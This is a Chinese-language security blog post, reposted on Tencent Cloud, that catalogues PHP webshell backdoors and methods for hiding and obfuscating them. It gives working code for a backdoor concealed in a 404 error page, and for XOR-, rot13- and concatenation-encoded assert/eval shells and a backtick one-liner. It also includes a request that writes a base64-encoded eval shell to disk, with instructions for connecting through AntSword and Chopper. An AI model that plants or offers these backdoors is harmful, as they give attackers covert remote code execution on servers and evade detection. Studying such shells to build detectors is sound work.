PHP WebShell

404页面隐藏木马

404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

直接访问——显示定制化的404友情提示:

下面我们使用蚁剑进行连接,在链接时我们需要添加body参数:

之后设置请求信息中的body参数:

之后进行远程连接:

数据拼接PHP后门

具体代码如下:

<?php 
 $POST['POST']='assert';
 $array[]=$POST;
 $array[0]['POST']($_POST['assert']);
?>

assert是php代码执行函数,与eval()有同样的功能,因为array[]、POST[]都是数组,所以array[]=POST,就是把POST数组的值赋给array数组,这样的话array[0]['POST']的输出就是assert,所以组成了一句话木马<?php assert(

之后成功连接shell~

可变变量PHP后门

下面介绍一种通过GET函数构成木马的方法,首先上传一个get.php,文件名与文件内容不包含任何恶意内容:

<?php $_GET[a]($_GET[b]);?>

之后在浏览器中访问(有想知道url具体是什么含义的可以自我base64decode,其实就是打开文件写数据的操作):

http://192.168.174.159:82/webshell/get.php?a=assert&b=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg=='))};

之后可以看到在网站目录下生成了shell.php文件:

之后使用蚁剑链接:

可变变量木马变形

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/shell.php?2=assert密码是1

异或运算PHP后门

<?php 
    @$_++;
    $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
    $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
    ${$__}[!$_](${$___}[$_]); 
?>

说明如下:

Step 1:"^"为异或运算符。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。 Step 2:

("`"^"?")      01100000^00111111=01011111 —>”_”
(":"^"}")      00111010^01111101=01000111—>”G”
("%"^"`")      00100101^01100000=01000101—>”E”
("{"^"/")      01111011^ 00101111=01010100—>”T”

Step 4:___=("

("$"^"{")        00100100^01111011=01011111—>"_"
("~"^".")        01111110^00101110=01010000—>"P"
("/"^"`")        00101111^01100000=01001111—>"O"
("-"^"~")        00101101^01111110=01010011—>"S"
("("^"|")        00101000^01111100=01010100—>"T"

Step 5:{__}[!_]({___}[_]);————得到_GET[0](_POST[1]);

Step 6:构造一句话木马,将“0”当成参数,赋值为“assert”

Step 7: 使用菜刀工具连接,地址http://ip/b.php?0=assert 密码为1

rot13构造PHP木马

<?php
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
?>

在这里str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

关键名称拼接木马

代码如下:

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>

在php中“.”表示将前后单位以字符串形式拼接 数组g[1]=s, char(116)是t ,gg连起来就是assert 整个一句话为@assert(_POST(get)),直接使用菜刀连接即可:

最短的一句话木马

木马如下:

<?=`$_GET[1]`;

简易解释:"<?="是PHP的一个短的开放式标签,$_GET[1]获取传入变量名为"1"的值,而反引号包裹的内容会被成功执行一次,从而成功构造出一个一句话木马

执行效果:

本文分享自微信公众号 - 七芒星实验室(HeptagramSec),作者:Al1ex

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-07-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • PHP WebShell变形技术总结

    简介 WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。 目前的防护...

    奶糖味的代言
  • slopShell:你唯一需要的PHP Webshell

    slopShell是一款功能强大的PHP Webshell,有了它,你就不需要再用到其他Webshell了。

    FB客服
  • 【PHP】WEBSHELL各类变形方法总结

    简介 WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。 ...

    奶糖味的代言
  • 个人版php webshell的一些功能

        1.兼容性差,当某函数禁用后,该功能就不能用了。其实php是个很灵活的语言,很多功能是可以有很多实现方式的。

    phith0n
  • php webshell下直接反弹shell(不借助任何其他语言)

        linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

    phith0n
  • php免杀webshell木马总结

    关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码绕过 无字符特征马 PHP7.1后webshell...

    网e渗透安全部
  • PHP常见过WAF webshell及最简单检测方法

    在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

    瓦都剋
  • opcode在webshell检测中的应用

    当PHP脚本被Zend Engine解析的时候,Zend Engine会对脚本进行词法、语法分析,然后编译成opcode来执行,类似JVM中的字节码(byte ...

    tinyfisher
  • php 一句话木马检测绕过研究

    一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell。

    信安之路
  • 一文详解Webshell

    Webshell是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。黑...

    FB客服
  • 渗透利器 | 常见的WebShell管理工具

    攻击者在入侵网站时,通常要通过各种方式写入Webshell,从而获得服务器的控制权限,然后再执行系统命令、权限提升、读取配置文件、窃取用户数据,篡改网站页面等操...

    Bypass
  • 如何查找和删除网站webshell木马文件

    Webshell实际上是一个能够执行恶意功能的PHP代码文件。Webshell要执行恶意功能,其代码结构主要由两部分组成:数据传递部分和数据执行部分。在webs...

    技术分享达人
  • 网站webshell木马文件如何删除

    Webshell实际上是一个能够执行恶意功能的PHP代码文件。Webshell要执行恶意功能,其代码结构主要由两部分组成:数据传递部分和数据执行部分。在webs...

    网站安全专家
  • phpmyadminroot账号获取webshell

    MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

    网e渗透安全部
  • 10款常见的Webshell检测工具

    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

    Bypass
  • 常见WebShell 检测方法

    WebShell 的检测和查杀是 Web 安全里热门且永恒的话题之一了,在网络安全世界里,攻击者总是先拔头筹,出其不意,防守方常常处于比较被动的局面,扮演者受害...

    字节脉搏实验室
  • 8款WebShell扫描检测查杀工具(附下载地址)

    webshell是一种可以在web服务器上执行后台脚本或者命令的后门,黑客通过入侵网站上传webshell后获得服务器的执行操作权限,比如执行系统命令、窃取用户...

    贝塔安全实验室
  • 如何优雅地隐藏你的Webshell

    拿下一个站后总希望自己的后门能够很隐蔽!不让网站管理员或者其他的Hacker发现,网上关于隐藏后门的方法也很多,如加密、包含,解析漏洞、加隐藏系统属性等等,但大...

    FB客服
  • WebShell通用免杀的思考

    之前看待事物总是看其一角,做技术也是囿于一面,思维不是很开阔,经过不断地看书,思考,认知慢慢有了 改变,获益良多。

    七夜安全博客

扫码关注云+社区

领取腾讯云代金券